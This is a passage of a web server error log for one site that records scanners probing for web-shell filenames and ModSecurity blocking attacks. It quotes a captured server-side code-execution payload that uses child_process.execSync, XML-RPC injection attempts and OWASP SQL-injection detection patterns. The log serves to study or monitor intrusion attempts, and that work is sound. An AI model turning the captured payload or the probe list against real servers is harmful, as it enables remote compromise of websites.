2025] [:error] [pid 5497:tid 5517] [client 4.196.105.180:54126] File does not exist: /home/coldtecp/public_html/help.php, referer: https://www.google.de/ [Tue Dec 09 11:22:20.461181 2025] [:error] [pid 5497:tid 5512] [client 4.196.105.180:54128] File does not exist: /home/coldtecp/public_html/hplfuns.php, referer: https://www.yahoo.com/ [Tue Dec 09 11:22:21.726077 2025] [:error] [pid 5497:tid 5521] [client 4.196.105.180:54140] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.co.uk/ [Tue Dec 09 11:22:21.941930 2025] [:error] [pid 5497:tid 5507] [client 4.196.105.180:54142] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://duckduckgo.com/ [Tue Dec 09 11:22:22.362339 2025] [:error] [pid 1660:tid 1713] [client 4.196.105.180:54148] File does not exist: /home/coldtecp/public_html/k.php, referer: https://duckduckgo.com/ [Tue Dec 09 11:22:22.583208 2025] [:error] [pid 1660:tid 1707] [client 4.196.105.180:54152] File does not exist: /home/coldtecp/public_html/log.php, referer: https://www.yahoo.com/ [Tue Dec 09 11:22:22.793434 2025] [:error] [pid 5497:tid 5511] [client 4.196.105.180:54154] File does not exist: /home/coldtecp/public_html/lv.php, referer: https://duckduckgo.com/ [Tue Dec 09 11:22:23.003933 2025] [:error] [pid 5497:tid 5518] [client 4.196.105.180:54156] File does not exist: /home/coldtecp/public_html/m.php, referer: https://duckduckgo.com/ [Tue Dec 09 11:22:23.215327 2025] [:error] [pid 1664:tid 1726] [client 4.196.105.180:54158] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://duckduckgo.com/ [Tue Dec 09 11:22:23.425708 2025] [:error] [pid 1664:tid 1738] [client 4.196.105.180:54160] File does not exist: /home/coldtecp/public_html/network_xo.php, referer: https://duckduckgo.com/ [Tue Dec 09 11:22:23.635808 2025] [:error] [pid 5409:tid 5437] [client 4.196.105.180:54162] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.fr/ [Tue Dec 09 11:22:23.846134 2025] [:error] [pid 1660:tid 1715] [client 4.196.105.180:54164] File does not exist: /home/coldtecp/public_html/nxc.php, referer: https://www.google.com/ [Tue Dec 09 11:22:24.056459 2025] [:error] [pid 3072:tid 3095] [client 4.196.105.180:54166] File does not exist: /home/coldtecp/public_html/packed.php, referer: https://www.google.fr/ [Tue Dec 09 11:22:24.266950 2025] [:error] [pid 3072:tid 3093] [client 4.196.105.180:54168] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.com/ [Tue Dec 09 11:22:24.477356 2025] [:error] [pid 3072:tid 3092] [client 4.196.105.180:54170] File does not exist: /home/coldtecp/public_html/rss.php, referer: https://duckduckgo.com/ [Tue Dec 09 11:22:24.687743 2025] [:error] [pid 3072:tid 3097] [client 4.196.105.180:54172] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.bing.com/ [Tue Dec 09 11:22:24.898186 2025] [:error] [pid 3072:tid 3084] [client 4.196.105.180:54174] File does not exist: /home/coldtecp/public_html/system_log.php, referer: https://www.google.com/ [Tue Dec 09 11:22:25.108561 2025] [:error] [pid 3072:tid 3077] [client 4.196.105.180:54176] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.de/ [Tue Dec 09 11:22:25.529402 2025] [:error] [pid 1660:tid 1700] [client 4.196.105.180:54180] File does not exist: /home/coldtecp/public_html/we.php, referer: https://www.google.de/ [Tue Dec 09 11:22:25.753541 2025] [:error] [pid 1660:tid 1701] [client 4.196.105.180:54182] File does not exist: /home/coldtecp/public_html/worksec.php, referer: https://duckduckgo.com/ [Tue Dec 09 13:17:26.985081 2025] [:error] [pid 1660:tid 1708] [client 4.218.15.245:35196] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:27.217827 2025] [:error] [pid 1664:tid 1729] [client 4.218.15.245:35198] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.fr/ [Tue Dec 09 13:17:27.427551 2025] [:error] [pid 1662:tid 1674] [client 4.218.15.245:35200] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.fr/ [Tue Dec 09 13:17:27.646423 2025] [:error] [pid 1662:tid 1684] [client 4.218.15.245:35202] File does not exist: /home/coldtecp/public_html/1.php, referer: https://duckduckgo.com/ [Tue Dec 09 13:17:27.855886 2025] [:error] [pid 1662:tid 1679] [client 4.218.15.245:35204] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.google.fr/ [Tue Dec 09 13:17:28.373274 2025] [:error] [pid 1662:tid 1690] [client 4.218.15.245:35206] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.de/ [Tue Dec 09 13:17:28.922482 2025] [:error] [pid 1662:tid 1682] [client 4.218.15.245:35208] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:29.132431 2025] [:error] [pid 1664:tid 1736] [client 4.218.15.245:35212] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.com/ [Tue Dec 09 13:17:29.344901 2025] [:error] [pid 1662:tid 1671] [client 4.218.15.245:35216] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.com/ [Tue Dec 09 13:17:30.341469 2025] [:error] [pid 1660:tid 1710] [client 4.218.15.245:35222] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:30.557893 2025] [:error] [pid 1660:tid 1717] [client 4.218.15.245:35224] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.fr/ [Tue Dec 09 13:17:31.201220 2025] [:error] [pid 1662:tid 1677] [client 4.218.15.245:35226] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.com/ [Tue Dec 09 13:17:31.697155 2025] [:error] [pid 1662:tid 1675] [client 4.218.15.245:35228] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:32.038534 2025] [:error] [pid 3072:tid 3081] [client 4.218.15.245:35230] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.com/ [Tue Dec 09 13:17:33.397987 2025] [:error] [pid 1660:tid 1724] [client 4.218.15.245:35246] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.yahoo.com/ [Tue Dec 09 13:17:33.638200 2025] [:error] [pid 5409:tid 5418] [client 4.218.15.245:35250] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:34.562588 2025] [:error] [pid 3072:tid 3092] [client 4.218.15.245:35262] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.de/ [Tue Dec 09 13:17:35.388996 2025] [:error] [pid 3072:tid 3075] [client 4.218.15.245:35280] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.yahoo.com/ [Tue Dec 09 13:17:35.618732 2025] [:error] [pid 5409:tid 5424] [client 4.218.15.245:35284] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.google.com/ [Tue Dec 09 13:17:36.040699 2025] [:error] [pid 1660:tid 1703] [client 4.218.15.245:35292] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.com/ [Tue Dec 09 13:17:36.466459 2025] [:error] [pid 1660:tid 1704] [client 4.218.15.245:35298] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.de/ [Tue Dec 09 13:17:37.031499 2025] [:error] [pid 1660:tid 1718] [client 4.218.15.245:35306] File does not exist: /home/coldtecp/public_html/network.php, referer: https://www.google.fr/ [Tue Dec 09 13:17:37.249783 2025] [:error] [pid 1660:tid 1714] [client 4.218.15.245:35310] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:37.459068 2025] [:error] [pid 1660:tid 1723] [client 4.218.15.245:35316] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.com/ [Tue Dec 09 13:17:39.661154 2025] [:error] [pid 5409:tid 5438] [client 4.218.15.245:35350] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:42.256986 2025] [:error] [pid 1664:tid 1744] [client 4.218.15.245:35400] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://duckduckgo.com/ [Tue Dec 09 13:17:42.466350 2025] [:error] [pid 1664:tid 1739] [client 4.218.15.245:35404] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://duckduckgo.com/ [Tue Dec 09 13:17:52.476060 2025] [:error] [pid 5409:tid 5434] [client 4.218.15.245:35508] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:52.712983 2025] [:error] [pid 1660:tid 1715] [client 4.218.15.245:35514] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:53.364221 2025] [:error] [pid 1660:tid 1709] [client 4.218.15.245:35516] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://duckduckgo.com/ [Tue Dec 09 13:17:53.574937 2025] [:error] [pid 1660:tid 1701] [client 4.218.15.245:35518] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.google.com/ [Tue Dec 09 13:17:53.784235 2025] [:error] [pid 3072:tid 3079] [client 4.218.15.245:35520] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.yahoo.com/ [Tue Dec 09 13:17:53.993460 2025] [:error] [pid 3072:tid 3078] [client 4.218.15.245:35522] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:54.203143 2025] [:error] [pid 5409:tid 5419] [client 4.218.15.245:35524] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.fr/ [Tue Dec 09 13:17:54.425558 2025] [:error] [pid 5409:tid 5430] [client 4.218.15.245:35526] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.de/ [Tue Dec 09 13:17:54.646399 2025] [:error] [pid 5409:tid 5426] [client 4.218.15.245:35528] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.google.fr/ [Tue Dec 09 13:17:54.909134 2025] [:error] [pid 1660:tid 1711] [client 4.218.15.245:35530] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.yahoo.com/ [Tue Dec 09 13:17:55.562128 2025] [:error] [pid 5497:tid 5522] [client 4.218.15.245:35536] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.de/ [Tue Dec 09 13:17:55.806057 2025] [:error] [pid 5497:tid 5504] [client 4.218.15.245:35538] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.google.de/ [Tue Dec 09 13:17:56.019312 2025] [:error] [pid 5497:tid 5516] [client 4.218.15.245:35540] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:56.229387 2025] [:error] [pid 5497:tid 5502] [client 4.218.15.245:35542] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.bing.com/ [Tue Dec 09 13:17:56.702538 2025] [:error] [pid 5497:tid 5521] [client 4.218.15.245:35544] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://www.google.fr/ [Tue Dec 09 13:17:56.912033 2025] [:error] [pid 5497:tid 5499] [client 4.218.15.245:35546] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.bing.com/ [Tue Dec 09 13:17:57.184830 2025] [:error] [pid 5497:tid 5510] [client 4.218.15.245:35548] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://www.bing.com/ [Tue Dec 09 13:17:57.394245 2025] [:error] [pid 5497:tid 5500] [client 4.218.15.245:35550] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.bing.com/ [Tue Dec 09 13:17:57.603685 2025] [:error] [pid 5497:tid 5514] [client 4.218.15.245:35552] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:17:57.812697 2025] [:error] [pid 5497:tid 5508] [client 4.218.15.245:35554] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://duckduckgo.com/ [Tue Dec 09 13:17:58.024646 2025] [:error] [pid 5497:tid 5520] [client 4.218.15.245:35556] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.fr/ [Tue Dec 09 13:17:58.234153 2025] [:error] [pid 5497:tid 5523] [client 4.218.15.245:35558] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.fr/ [Tue Dec 09 13:17:58.471424 2025] [:error] [pid 3072:tid 3096] [client 4.218.15.245:35562] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.bing.com/ [Tue Dec 09 13:17:58.733201 2025] [:error] [pid 1662:tid 1682] [client 4.218.15.245:35566] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://www.bing.com/ [Tue Dec 09 13:17:59.011490 2025] [:error] [pid 1664:tid 1731] [client 4.218.15.245:35568] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.de/ [Tue Dec 09 13:18:13.755966 2025] [:error] [pid 5497:tid 5507] [client 4.218.15.245:35680] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://www.google.de/ 2025/12/09 13:18:21 [error] 1607#1607: *764333 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 4.218.15.245, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.yahoo.com/" [Tue Dec 09 13:43:02.900637 2025] [:error] [pid 3072:tid 3074] [client 20.78.176.226:38290] File does not exist: /home/coldtecp/public_html/wp-admin.php, referer: https://www.bing.com/ [Tue Dec 09 13:43:07.479737 2025] [:error] [pid 3072:tid 3088] [client 20.78.176.226:38350] File does not exist: /home/coldtecp/public_html/wp-blog-header.php, referer: https://www.google.co.uk/ [Tue Dec 09 13:43:07.832011 2025] [:error] [pid 5409:tid 5424] [client 20.78.176.226:38354] File does not exist: /home/coldtecp/public_html/wp-content.php, referer: https://www.google.co.uk/ [Tue Dec 09 21:51:41.737152 2025] [:error] [pid 2751:tid 2755] [client 20.89.192.194:44208] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.google.co.uk/ [Tue Dec 09 21:51:41.912147 2025] [:error] [pid 30952:tid 31013] [client 20.89.192.194:44210] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.co.uk/ [Tue Dec 09 21:51:42.101256 2025] [:error] [pid 30952:tid 31016] [client 20.89.192.194:44212] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.co.uk/ [Tue Dec 09 21:51:42.276759 2025] [:error] [pid 30951:tid 30964] [client 20.89.192.194:44214] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.bing.com/ [Tue Dec 09 21:51:42.451995 2025] [:error] [pid 30953:tid 30998] [client 20.89.192.194:44216] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.google.fr/ [Tue Dec 09 21:51:42.627240 2025] [:error] [pid 30953:tid 30996] [client 20.89.192.194:44218] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.de/ [Tue Dec 09 21:51:42.802683 2025] [:error] [pid 30953:tid 31003] [client 20.89.192.194:44220] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:42.978181 2025] [:error] [pid 30952:tid 31033] [client 20.89.192.194:44222] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.fr/ [Tue Dec 09 21:51:43.153563 2025] [:error] [pid 2751:tid 2769] [client 20.89.192.194:44224] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:43.685353 2025] [:error] [pid 2751:tid 2765] [client 20.89.192.194:44230] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.fr/ [Tue Dec 09 21:51:43.861069 2025] [:error] [pid 31037:tid 31040] [client 20.89.192.194:44232] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:44.036767 2025] [:error] [pid 2751:tid 2771] [client 20.89.192.194:44234] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.fr/ [Tue Dec 09 21:51:44.212051 2025] [:error] [pid 30953:tid 30994] [client 20.89.192.194:44236] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.google.fr/ [Tue Dec 09 21:51:44.387366 2025] [:error] [pid 30953:tid 30984] [client 20.89.192.194:44238] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.de/ [Tue Dec 09 21:51:44.942361 2025] [:error] [pid 31037:tid 31063] [client 20.89.192.194:44244] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.bing.com/ [Tue Dec 09 21:51:45.117839 2025] [:error] [pid 31037:tid 31047] [client 20.89.192.194:44246] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:45.468934 2025] [:error] [pid 2751:tid 2762] [client 20.89.192.194:44250] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.com/ [Tue Dec 09 21:51:45.995209 2025] [:error] [pid 2751:tid 2766] [client 20.89.192.194:44256] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:46.170682 2025] [:error] [pid 2751:tid 2768] [client 20.89.192.194:44258] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:46.521548 2025] [:error] [pid 30953:tid 30993] [client 20.89.192.194:44262] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:46.696972 2025] [:error] [pid 2751:tid 2775] [client 20.89.192.194:44264] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.co.uk/ [Tue Dec 09 21:51:46.872248 2025] [:error] [pid 2751:tid 2759] [client 20.89.192.194:44266] File does not exist: /home/coldtecp/public_html/network.php, referer: https://www.bing.com/ [Tue Dec 09 21:51:47.047985 2025] [:error] [pid 30953:tid 30989] [client 20.89.192.194:44268] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.bing.com/ [Tue Dec 09 21:51:47.223001 2025] [:error] [pid 2751:tid 2773] [client 20.89.192.194:44270] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.com/ [Tue Dec 09 21:51:48.451876 2025] [:error] [pid 30951:tid 30969] [client 20.89.192.194:44284] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:50.209977 2025] [:error] [pid 2751:tid 2757] [client 20.89.192.194:44304] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.co.uk/ [Tue Dec 09 21:51:50.387383 2025] [:error] [pid 30953:tid 30987] [client 20.89.192.194:44306] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.bing.com/ [Tue Dec 09 21:51:56.238701 2025] [:error] [pid 2751:tid 2763] [client 20.89.192.194:44374] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.google.co.uk/ [Tue Dec 09 21:51:56.419964 2025] [:error] [pid 2751:tid 2772] [client 20.89.192.194:44376] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.fr/ [Tue Dec 09 21:51:56.595405 2025] [:error] [pid 2751:tid 2767] [client 20.89.192.194:44378] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.co.uk/ [Tue Dec 09 21:51:56.774345 2025] [:error] [pid 2751:tid 2774] [client 20.89.192.194:44380] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.bing.com/ [Tue Dec 09 21:51:56.951002 2025] [:error] [pid 2751:tid 2770] [client 20.89.192.194:44382] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.google.fr/ [Tue Dec 09 21:51:57.126322 2025] [:error] [pid 2751:tid 2760] [client 20.89.192.194:44384] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.bing.com/ [Tue Dec 09 21:51:57.301523 2025] [:error] [pid 2751:tid 2755] [client 20.89.192.194:44386] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.fr/ [Tue Dec 09 21:51:57.476901 2025] [:error] [pid 2751:tid 2769] [client 20.89.192.194:44388] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:57.652011 2025] [:error] [pid 2751:tid 2758] [client 20.89.192.194:44390] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:57.829467 2025] [:error] [pid 2751:tid 2761] [client 20.89.192.194:44392] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.bing.com/ [Tue Dec 09 21:51:58.357743 2025] [:error] [pid 2751:tid 2762] [client 20.89.192.194:44398] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.fr/ [Tue Dec 09 21:51:58.532984 2025] [:error] [pid 2751:tid 2754] [client 20.89.192.194:44400] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.yahoo.com/ [Tue Dec 09 21:51:58.708263 2025] [:error] [pid 31037:tid 31061] [client 20.89.192.194:44402] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.de/ [Tue Dec 09 21:51:58.883582 2025] [:error] [pid 31037:tid 31052] [client 20.89.192.194:44404] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.co.uk/ [Tue Dec 09 21:51:59.063510 2025] [:error] [pid 31037:tid 31040] [client 20.89.192.194:44406] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://www.google.de/ [Tue Dec 09 21:51:59.238718 2025] [:error] [pid 31037:tid 31056] [client 20.89.192.194:44408] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.com/ [Tue Dec 09 21:51:59.414018 2025] [:error] [pid 30952:tid 31018] [client 20.89.192.194:44410] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://www.google.de/ [Tue Dec 09 21:51:59.589570 2025] [:error] [pid 30952:tid 31024] [client 20.89.192.194:44412] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.com/ [Tue Dec 09 21:51:59.765732 2025] [:error] [pid 30952:tid 31025] [client 20.89.192.194:44414] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.com/ [Tue Dec 09 21:51:59.941415 2025] [:error] [pid 30952:tid 31028] [client 20.89.192.194:44416] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.fr/ [Tue Dec 09 21:52:00.118648 2025] [:error] [pid 30952:tid 31031] [client 20.89.192.194:44418] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.de/ [Tue Dec 09 21:52:00.295171 2025] [:error] [pid 30952:tid 31027] [client 20.89.192.194:44420] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.bing.com/ [Tue Dec 09 21:52:00.473718 2025] [:error] [pid 30952:tid 31026] [client 20.89.192.194:44422] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.bing.com/ [Tue Dec 09 21:52:00.649436 2025] [:error] [pid 30952:tid 31014] [client 20.89.192.194:44424] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://www.google.com/ [Tue Dec 09 21:52:00.825146 2025] [:error] [pid 30952:tid 31021] [client 20.89.192.194:44426] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://duckduckgo.com/ [Tue Dec 09 21:52:09.979645 2025] [:error] [pid 31037:tid 31042] [client 20.89.192.194:44530] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://duckduckgo.com/ 2025/12/09 21:52:14 [error] 30925#30925: *783419 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 20.89.192.194, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.google.de/" [Wed Dec 10 01:16:39.430113 2025] [:error] [pid 30952:tid 31018] [client 3.99.202.171:53472] [client 3.99.202.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTkQR8R2Cb_0dgcL0xjTaQAAAEg"] [Wed Dec 10 01:34:13.669735 2025] [:error] [pid 30951:tid 30961] [client 51.68.186.52:54154] [client 51.68.186.52] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo \\x5c\\x22kurd11s11\\x5c\\x22',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;\\x5c/exploit?out=${encodeURIComponent(res)};307;`});\\x22,\\x22..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTkUZfXeqVD7-mD4V0ukRwAAAAY"] [Wed Dec 10 02:05:02.442909 2025] [:error] [pid 31037:tid 31046] [client 138.199.35.5:56598] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Dec 10 09:25:19.507723 2025] [:error] [pid 7549:tid 7611] [client 34.73.130.252:52268] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Dec 10 10:02:07.978732 2025] [:error] [pid 7548:tid 7592] [client 143.244.57.120:53344] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Dec 10 12:43:16.613471 2025] [:error] [pid 7549:tid 7631] [client 179.151.33.99:33918] [client 179.151.33.99] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x18d1945ade found within XML: metaWeblog.newPost16761867618title0x18d1945adescription0x18d1945amt_keywords0x18d1945amt_excerpt0x18d1945a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aTmxNP854T4_2LLA4z8hxAAAAJc"] [Wed Dec 10 12:43:27.554261 2025] [:error] [pid 7547:tid 7569] [client 170.78.198.74:33958] [client 170.78.198.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x3e924f3fde found within XML: metaWeblog.newPost13048530485title0x3e924f3fdescription0x3e924f3fmt_keywords0x3e924f3fmt_excerpt0x3e924f3f1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id 